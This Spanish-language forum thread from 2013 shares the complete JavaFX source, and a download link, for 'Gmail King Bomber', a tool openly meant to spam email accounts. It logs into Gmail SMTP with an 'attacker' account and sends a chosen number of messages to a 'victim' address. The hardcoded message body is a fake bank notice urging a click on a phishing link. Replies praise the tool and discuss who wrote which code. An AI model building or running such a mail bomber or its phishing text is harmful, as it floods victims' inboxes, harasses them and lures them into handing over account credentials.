[JavaFX] Gmail King Bomber.

Iniciado por Mitgus, 21 Junio 2013, 01:27 AM

0 Miembros y 1 Visitante están viendo este tema.

Mitgus

Hola,

Les dejo una sencilla aplicación para spamear cuentas de correo. El code es sencillo, un Thread hace la tarea y captura las excepciones mostrando un cuadro de diálogo. Los botones y demás controles se desactivan mientras esté operativa la tarea (envío de emails). El botón borrar, como su nombre lo dice borra todos los campos a excepción del email y password atacante.


Imagen en funcionamiento:



Versión 1.0. Con un código más sencillo, sin tantos catch múltiples y ahora el trabajo por medio de un thread.

Código (=java) [Seleccionar]

import java.util.Date;
import java.util.Properties;

// Librerias JavaFX
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Group;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.Label;
import javafx.scene.control.PasswordField;
import javafx.scene.control.TextArea;
import javafx.scene.control.TextField;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.paint.Color;
import javafx.stage.Stage;

// librerias JavaMail
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JOptionPane;


public class GmailKingBomber extends Application {

Label lblEmail,lblAsunto,lblMensaje,cantMensajes,lblActividad,lblEmailSender,lblPassSender;
Button btnOk,btnBorrar;
TextField txtEmail,txtAsunto,txtcantMensajes,txtEmailSender;
PasswordField txtPassSender;
TextArea txrMensaje,txrActividad;
public void start(Stage stage){

    Group root = new Group(); // crea un panel "Grupo" (ver doc)
    Scene escena = new Scene(root,550,420); // se lo asigna a la escena y configura sizes
   
    // email
    lblEmail = new Label("Email");
    lblEmail.setTextFill(Color.web("#0076a3"));
    lblEmail.setLayoutX(8);
    lblEmail.setLayoutY(8);
    txtEmail = new TextField("");
    txtEmail.setFocusTraversable(true);
    txtEmail.setPrefSize(150,25);
    txtEmail.setLayoutX(20);
    txtEmail.setLayoutY(28);
    // asunto
    lblAsunto = new Label("Asunto");
    lblAsunto.setTextFill(Color.web("#0076a3"));
    lblAsunto.setLayoutX(8);
    lblAsunto.setLayoutY(55);
    txtAsunto = new TextField("");
    txtAsunto.setFocusTraversable(true);
    txtAsunto.setPrefSize(150,25);
    txtAsunto.setLayoutX(20);
    txtAsunto.setLayoutY(75);
    // mensaje
    lblMensaje = new Label("Mensaje");
    lblMensaje.setTextFill(Color.web("#0076a3"));
    lblMensaje.setLayoutX(8);
    lblMensaje.setLayoutY(101);
    txrMensaje = new TextArea("");
    txrMensaje.setFocusTraversable(true);
    txrMensaje.setPrefSize(150,80);
    txrMensaje.setLayoutX(20);
    txrMensaje.setLayoutY(126);
    // cantidad de mensajes
    cantMensajes = new Label("Cantidad de emails");
    cantMensajes.setTextFill(Color.web("#0076a3"));
    cantMensajes.setLayoutX(8);
    cantMensajes.setLayoutY(211);
    txtcantMensajes = new TextField("");
    txtcantMensajes.setFocusTraversable(true);
    txtcantMensajes.setPrefSize(80,25);
    txtcantMensajes.setLayoutX(20);
    txtcantMensajes.setLayoutY(234);
     // email atacador
    lblEmailSender = new Label("Email atacante");
    lblEmailSender.setTextFill(Color.web("#0076a3"));
    lblEmailSender.setLayoutX(8);
    lblEmailSender.setLayoutY(266);
    // txt email atacador
    txtEmailSender = new TextField("");
    txtEmailSender.setFocusTraversable(true);
    txtEmailSender.setLayoutX(20);
    txtEmailSender.setLayoutY(285);
    // pass del atacador
    lblPassSender = new Label("Pass");
    lblPassSender.setTextFill(Color.web("#0076a3"));
    lblPassSender.setLayoutX(8);
    lblPassSender.setLayoutY(310);
    //ptxt pass del atacador
    txtPassSender = new PasswordField();
    txtPassSender.setFocusTraversable(true);
    txtPassSender.setLayoutX(20);
    txtPassSender.setLayoutY(329);
    // si se empieza a escribir la contrasena se activa el boton
    txtPassSender.textProperty().addListener(new ChangeListener<String>() {
      @Override
      public void changed(ObservableValue<? extends String> observable,
              String oldValue, String newValue) {
     
          btnOk.setDisable(false);
      }
    });
   
    // boom
    btnOk = new Button("¡Boom!");
    btnOk.setFocusTraversable(true);
    btnOk.setDisable(true);
    btnOk.setTextFill(Color.web("#0076a9"));
    btnOk.setLayoutX(20);
    btnOk.setLayoutY(385);
    btnOk.setPrefSize(100,25);
   
        // evento del boton
    btnOk.setOnAction(new EventHandler<ActionEvent>() {
    public void handle(ActionEvent event){ // crea un thread para iniciar el proceso
    Boom boom = new Boom();
    boom.start(); // inicia la tarea
    }
   
    });
   
    // boton borrar
    btnBorrar = new Button("Borrar");
    btnBorrar.setLayoutX(126);
    btnBorrar.setLayoutY(385);
    btnBorrar.setPrefSize(100,25);
    btnBorrar.setOnAction(new EventHandler<ActionEvent>() {
    public void handle(ActionEvent evt){
    // borra todos los cambos y pone el focus en el email victima
    txtEmail.setText(null);
    txtAsunto.setText(null);
    txrMensaje.setText(null);
    txtcantMensajes.setText(null);
    txrActividad.setText("");
    txtEmail.requestFocus();
    }
    });
    // textarea
    lblActividad = new Label("Actividad");
    lblActividad.setTextFill(Color.web("#0076a3"));
    lblActividad.setLayoutX(250);
    lblActividad.setLayoutY(8);
    txrActividad = new TextArea();
    txrActividad.setPrefSize(300,390);
    txrActividad.setLayoutX(250);
    txrActividad.setLayoutY(30);
    txrActividad.setEditable(false); // el textarea no es editable
    // imagen para el fondo
    Image ima = new Image("file:htp.jpg",true);
    ImageView imagen = new ImageView();
    imagen.setImage(ima);
    // imagen para el icono de la ventana
    stage.getIcons().add(new Image("file:descarga.jpg"));
    // agrega todos los componentes al panel
    root.getChildren().addAll(imagen,lblEmail,btnOk,btnBorrar,txtEmail,lblAsunto,txtAsunto,lblMensaje,txrMensaje,cantMensajes,txtcantMensajes,lblEmailSender,txtEmailSender,lblPassSender,txtPassSender,lblActividad,txrActividad);
    stage.setTitle("¡Gmail king bomber! v0.1 - Darkgus"); // titulo del "stage" ( jframe)
    stage.setScene(escena); // le asigna la escena ( la escena es el panel principal, dentro esta el panel root de tipo Group)
    stage.setResizable(false);
    stage.show(); // mostramos la stage
   
}

    // clase que hace el envío de emails mediante thread
private class Boom extends Thread{

private boolean continuar=true; //condicion del thread

void detener(){ // metodo para detener el thread
continuar = false;
}
void inhabilitar() { // inhabilita los controles
btnOk.setDisable(true);
btnBorrar.setDisable(true);
txtEmail.setEditable(false);
txtAsunto.setEditable(false);
txrMensaje.setEditable(false);
txtcantMensajes.setEditable(false);
txtEmailSender.setEditable(false);
txtPassSender.setEditable(false);
}
void habilitar() { // habilita los controles
btnOk.setDisable(false);
btnBorrar.setDisable(false);
txtEmail.setEditable(true);
txtAsunto.setEditable(true);
txrMensaje.setEditable(true);
txtcantMensajes.setEditable(true);
txtEmailSender.setEditable(true);
txtPassSender.setEditable(true);
}
public void run()  { // incia el thread
while(continuar) { // hace la tarea mientras continuar sea true

try {
inhabilitar();
                // Propiedades de la conexión
                Properties props = new Properties();
                props.setProperty("mail.smtp.host", "smtp.gmail.com");
                props.setProperty("mail.smtp.starttls.enable", "true");
                props.setProperty("mail.smtp.port", "587");
                props.setProperty("mail.smtp.user", txtEmailSender.getText());
                props.setProperty("mail.smtp.auth", "true");

                // Preparamos la sesion
                Session session = Session.getDefaultInstance(props);

                // Construimos el mensaje
                MimeMessage message = new MimeMessage(session);
                message.setFrom(new InternetAddress("yo@yo.com"));
                message.addRecipient(
                    Message.RecipientType.TO,
                    new InternetAddress(txtEmail.getText()));
                message.setSubject("Hola");
                message.setText(
                    "Este es un aviso de su banco: clickee aquí: www.terobolacuenta.com");

                // Lo enviamos.
                int cantidad = Integer.parseInt(txtcantMensajes.getText() );
                for(int i=1; i<=cantidad; i++) {
                Transport t = session.getTransport("smtp");
                t.connect(txtEmailSender.getText(), new String(txtPassSender.getText()));
                t.sendMessage(message, message.getAllRecipients());
                txrActividad.setText(txrActividad.getText() + "\n" +
    "Nuevo mensaje enviado: " + new Date() + "\n" +
    "Destino: " + txtEmail.getText() + "\n" +
    "Asunto: " + txtAsunto.getText() + "\n" +
    "Mensaje: " + txrMensaje.getText()+"\n"+"\n");

                // Cierre.
                t.close();
               
                if(i==cantidad) {
                detener();
                habilitar();
                }
               } // fin for
            } // fin try
catch(Exception e) { //detenemos el thread, habilitamos los button y mostramos error
detener();
habilitar();
           
JOptionPane.showMessageDialog(null,"Ha ocurrido un error. Asegúrese que se hayan\nintroducido correctamente los datos","ERROR",JOptionPane.ERROR_MESSAGE);
}
} // fin while
} // fin run
} // fin clase
           

public static void main(String[] args) {
launch(args); // lanza la aplicacion
}
}



Ejecutable:  http://www.mediafire.com/?pdqn5cz324brq6b
Linux User #560388

0xFer

#1
interesante, se parece bastante al que hice  :( de hecho tiene código que yo escribí pero con unas modificaciones  :silbar:

pero bueno felicidades de todos modos tambien tiene codigo original  ;-)

edito : Bueno ya vi tu mensaje en el otro foro Randomized, ya sospechaba que eras tu   :D  felicidades crack esta mejor que el que yo había hecho te lo has currado  ;-)

saludos
Código (java) [Seleccionar]
int getRandomNumber(){
    return 4; //chosen by fair dice roll
              //guaranteed to be random
}

Mitgus

#2
Hola David que tal xD.

El code que utilicé de ti es este pedazo:

Código (=java) [Seleccionar]

txrActividad.setText(txrActividad.getText() + "\n" +
    "Nuevo mensaje enviado: " + new Date() + "\n" +
    "Destino: " + txtEmail.getText() + "\n" +
    "Asunto: " + txtAsunto.getText() + "\n" +
    "Mensaje: " + txrMensaje.getText()+"\n"+"\n");


Lo que me gustó fue el nombre de tu clase "Bomber"  ;D



Saludos crack.

Linux User #560388

Legnak


Debci

Gracias por tu aporte al foro :)
Sin duda es muy útil y muy versátil y mas viniendo de este hermanito abandonado de Java como es JavaFX.

Un saludo

Mitgus

Muchas gracias Debci y Legnak por pasarse.

JavaFX me parece un muy buen framework para apps de todo tipo, a ver si ahora ya se incursiona en el mundo móvil, porque con swing nunca lo iba a hacer  ;D, además se pueden lograr apps de escritorio/web con un acabado y funcionalidad excelente.


Saludos  :)
Linux User #560388

ThinkByYourself

No te voy a engañar.
Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.